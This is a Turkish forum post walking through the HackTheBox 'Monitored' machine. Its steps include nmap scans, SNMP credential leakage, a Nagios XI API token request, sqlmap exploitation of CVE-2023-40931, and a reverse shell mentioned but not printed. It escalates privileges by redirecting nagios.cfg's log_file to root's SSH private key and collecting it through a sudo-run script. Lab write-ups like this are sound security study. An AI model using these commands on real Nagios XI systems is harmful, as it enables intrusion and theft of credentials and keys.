HackTheBox :: Monitored

Will Graham

Katılımcı Üye
14 Eki 2022
511
415
d4988810825d26acb2e84ca0ac9feaf4.png


HackTheBox :: Monitored

merhaba, bu konumda hackthebox platformunda bulunan "Monitored" isimli makinenin çözümünü göstereceğim. bu makine linux tabanlı orta seviye bir makinedir. makinede çalışan servisleri öğrenmek adına nmap ile bir tarama yaparak başlıyorum.

CoffeeScript:
Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-16 18:21 EST
Nmap scan report for 10.10.11.248
Host is up (0.060s latency).
Not shown: 996 closed tcp ports (reset)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 61e2e7b41b5d46dc3b2f9138e66dc5ff (RSA)
|   256 2973c5a58daa3f60a94aa3e59f675c93 (ECDSA)
|_  256 6d7af9eb8e45c2026ad58d4db3a3376f (ED25519)
80/tcp  open  http     Apache httpd 2.4.56
|_http-title: Did not follow redirect to https://nagios.monitored.htb/
|_http-server-header: Apache/2.4.56 (Debian)
389/tcp open  ldap     OpenLDAP 2.2.X - 2.3.X
443/tcp open  ssl/http Apache httpd 2.4.56 ((Debian))
|_ssl-date: TLS randomness does not represent time
|_http-title: Nagios XI
| ssl-cert: Subject: commonName=nagios.monitored.htb/organizationName=Monitored/stateOrProvinceName=Dorset/countryName=UK
| Not valid before: 2023-11-11T21:46:55
|_Not valid after:  2297-08-25T21:46:55
| tls-alpn:
|_  http/1.1
|_http-server-header: Apache/2.4.56 (Debian)
Service Info: Host: nagios.monitored.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.97 seconds

makinede 22 (OpenSSH), 389 (OpenLDAP) ve 80/443 (Apache httpd) servisleri çalışıyormuş. bununla birlikte http servisine erişilmeye çalışıldığında nagios.monitored.htb adresine yönlendiriyormuş. bu adresi ip ile birlikte /etc/hosts dizinine girdikten sonra ldapsearch ile boş kimlik bilgilerinin geçerli olup olmadığını kontrol ettim.

AieC-MEkW.png


ldap servisinden bir şey çıkmadığına göre geriye sadece http servisini kontrol etmek kalıyor.

BATMS0g.png


site nagiosxi adında bir yönetim sistemi kullanıyormuş. internetten 2023 yılında paylaşılan zafiyetleri aradığımda giriş yaptıktan sonra kullanabileceğim bir kaç zafiyet buldum. elimizde herhangi bir kullanıcı bilgisi olmadığı için şimdilik burayı atlayalım.

dirsearch ile yaptığım dosya/dizin taraması sonucunda nagiosxi dizini altında bir sürü dosya/dizin keşfettim ama bir kaçı harici giriş yapmadan görüntülenemiyordu.

DiUJseQW4t.png


burada ki dosya/dizinlerden bir şey çıkaramadım ama içlerinden birinde ilginç bir şey buldum :D

o9p_u.png


bunun dışında bu web uygulamasında vhost'ta dahil başka bir şey bulunmuyor. Eğer brute force yapmayacaksak kullanabileceğimiz başka TCP servisi de kalmadı. başa dönüp nmap ile bir UDP port taraması gerçekleştireceğim. bu tarama öncekine nazaran daha uzun sürecektir.
CoffeeScript:
Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-16 19:15 EST
Nmap scan report for monitored.htb (10.10.11.248)
Host is up (0.059s latency).
Not shown: 993 open|filtered udp ports (no-response)
PORT      STATE  SERVICE
123/udp   open   ntp
161/udp   open   snmp
9876/udp  closed sd
19728/udp closed unknown
37212/udp closed unknown
42172/udp closed unknown
49226/udp closed unknown

nmap ile yaptığım ntp script taramasından bir şey çıkmadı. yaptığım diğer bir script tarması olan snmp de ise bir bash scriptini çalıştırırken kullandığı kullanıcı bilgilerini buldum.

HBUmk592l.png


login sayfasına yanlış kullanıcı bilgileri girdiğimde "invalid username or password" sonucunu döndürürken bu kullanıcı bilgilerini girdiğimizde "The specified user account has been disabled or does not exist." sonucunu döndürüyor. nagiosxi için bu hesabı nasıl açabileceğimiz hakkında internette aramalar yaptıktan sonra şu sayfayı buldum.

https://support.nagios.com/forum/viewtopic.php?f=16&t=58783

verdiği komutu düzenleyip kullandıktan sonra bir token'e sahip oldum.

curl -XPOST -k -L ' ' -d 'username=svc&password=ŞİFRE BURAYA&valid_min=5'
{
"username": "
svc",
"user_id": "
2",
"auth_token": "
4859cfdb9eab2cd91c782f73f90eaf422c2263fb",
"valid_min":
5,
"valid_until": "
Tue, 16 Jan 2024 20:04:06 -0500"
}

elde ettiğimiz tokeni kullanarak yönetim panelinde bulunan sql enjeksiyonu zafiyetini sömürebiliriz (CVE-2023-40931).

sqlmap -u " " -p id -D nagiosxi -T xi_users --dump

j350mW.png


john ile nagiosadmin kullanıcısın şifresini kıramadıktan sonra forum da gezinmeye devam ettim ve yetkili hesabı açmayı öğrendim.
{
"success": "
User account will was added successfully!",
"user_id":
6
}

kullanıcıyı oluşturup, giriş yaptıktan sonra konfigürasyon ayarlarının bulunduğu yerde komut ekleyip çalıştırabileceğimiz bir alan gördüm. buraya kendi reverse shell kodumu girdikten sonra çalıştırdım.

LWytS.png


veee ilk bayrağımızı user.txt dosyasından aldık.

2Cs8R.png


sudo -l komutunu kullanarak yetkilerimi görüntülemek istediğimde aşağıda ki gibi bir ton şey çıktı. hazır servisleri es geçerek diğer dosyaları tek tek inceleyeceğim.

zIuOpLd.png


/usr/local/nagiosxi/scripts/migrate/migrate.php bu dosyayı daha önce nagios ile ilgili zafiyetleri ararken görmüştüm, tekrar o sayfayı bulup neler yapabileceğime bakacağım.
aradığım şeyi buldum ama kullanamadım anlamadım
Technical Advisory – Multiple Vulnerabilities in Nagios XI


/usr/local/nagiosxi/scripts/components/getprofile.sh dosyasında "nagios_log_file=$(cat /usr/local/nagios/etc/nagios.cfg | sed -n -e 's/^log_file=//p' | sed 's/\r$//')" şeklinde bir kod satırı bulunuyor. bu kod /usr/local/nagios/etc/nagios.cfg dosyasının içerisinde ki log_file= ifadesinden sonra gelen dosyayı nagios_log_file değişkenine atıyor. bu değişkeni takip ettiğimizde ise "tail -n500 "$nagios_log_file" &> "/usr/local/nagiosxi/var/components/profile/$folder/nagios-logs/nagios.txt"" komutu ile karşılaşıyoruz. bu komutta nagios_log_file değişkeninde bulunan dosyayı nagios-logs dizininde ki nagios.txt dosyasına atıyor.


kodun sonunda ise /usr/local/nagiosxi/var/components/profile/profile-* dizinine kopyaladığı tüm bilgileri profile adında bir zip dosyasına dönüştürüyor.
Bash:
(
    ts=$(date +%s)
    cd /usr/local/nagiosxi/var/components/profile
    mv "$folder" "profile-$ts"
    zip -r profile.zip "profile-$ts"
    rm -rf "profile-$ts"
    mv -f profile.zip ../
)

/usr/local/nagios/etc/nagios.cfg dosyasına yazma iznimiz var. bu dosyada ki log_file= kısmının yanına /root/.ssh/id_rsa dosyasını ekliyoruz.

tkSXUM-z6DEv.png


sudo /usr/local/nagiosxi/scripts/components/getprofile.sh 1 komutunu kullanarak scripti çalıştırdıktan sonra profile.zip dosyasını unzip /usr/local/nagiosxi/var/components/profile.zip komutu ile çıkartıp içerisinde ki nagios-logs/nagios.txt dosyasından root kullanıcısının id_rsa verisini alıyoruz.

KqM_4gl.png


içeriğini bir dosyaya koyup chmod 600 dosya_adi komutu ile yetkilendiyoruz daha sonra ise ssh [email protected] -i dosya_adi komutu ile root kullanıcısına giriş yapıp son bayrağımızı alıyoruz.

Bkzum_U6hT.png


HackTheBox :: Monitored
 
Son düzenleme:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.